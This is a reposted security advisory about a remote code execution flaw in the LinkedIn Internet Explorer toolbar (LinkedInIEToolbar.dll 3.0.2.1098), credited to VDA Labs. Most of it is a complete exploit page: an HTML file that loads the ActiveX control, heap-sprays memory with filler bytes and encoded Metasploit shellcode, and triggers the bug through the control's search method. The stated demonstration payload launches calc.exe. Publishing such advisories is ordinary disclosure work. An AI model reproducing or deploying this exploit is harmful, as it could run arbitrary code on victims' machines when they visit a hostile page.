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LinkedIn Toolbar (Exploit)
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SUMMARY
<http://www.linkedin.com/> LinkedIn is "a business oriented social
networking site, mainly used for professional networking". Vulnerability
in LinkedIn toolbar allows remote code execution on the client side.
DETAILS
Vulnerable Systems:
* LinkedInIEToolbar.dll version: 3.0.2.1098 (Tested on Windows XP SP2)
If a user using LinkedIn toolbar will be tricked into a website containing
this exploit, calc.exe application will pop.
Online PoC:
http://www.vdalabs.com/tools/IE7_LinkedIn_PoC.html
Exploit:
<HTML>
<TITLE>In God We Trust, VDA Labs, LLC</TITLE>
<HEAD>
<object classid='clsid:0F2437D6-C4E4-42CA-A906-F506E09354B7'
id='target'></object>
<script language='javascript'>
function repeat(n,c)
{
retval="";
for (i=0;i<n;i++)
retval = retval + c;
return retval
}
//EAX contains this value. call [eax]. that lands us on the nops.
blind_jmp = repeat(50000,unescape("%u0a0a%u0a0a"));
//shellcode: From metasploit.com. SC can be very big if you want.
shellcode =
unescape("%uc931%ue983%ud9dd%ud9ee%u2474%u5bf4%u7381%ub213%u28cd%u837b%ufceb%uf4e2%u254e%u7b6c%ucdb2%u3ea3%u468e%u7e54%uccca%uf0c7%ud5fd%u24a3%ucc92%u32c3%uf939%u7aa3%ufc5c%ue2e8%u491e%u0fe8%u0cb5%u76e2%u0fb3%u8fc3%u9989%u7f0c%u28c7%u24a3%ucc96%u1dc3%uc139%uf063%ud1ed%u9029%ud139%u7aa3%u4459%u5f74%u0eb6%ubb19%u46d6%u4b68%u0d37%u7750%u8d39%uf024%ud1c2%uf085%uc5da%u72c3%u4d39%u7b98%ucdb2%u13a3%u928e%u8d19%u9bd2%u83a1%u0d31%u2b53%ub3da%u99f0%ua5c1%u85b0%uc338%u847f%uae55%u1749%ue3d1%u034d%ucdd7%u7b28");
//changed to point to 0x0a0a0a0a
nops = repeat(3925, unescape("%u0a0a%u0a0a") ); //jmp +0, push eax, pop
eax
mem = new Array();
for(i=0; i<9000; i++)
{
mem[i] = nops+shellcode;
}
//make string
target.search("jared", blind_jmp);
</script>
</body>
</html>
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ADDITIONAL INFORMATION
The information has been provided by VDA Labs.
The original article can be found at:
<http://www.vdalabs.com/tools/linkedin.html>
http://www.vdalabs.com/tools/linkedin.html
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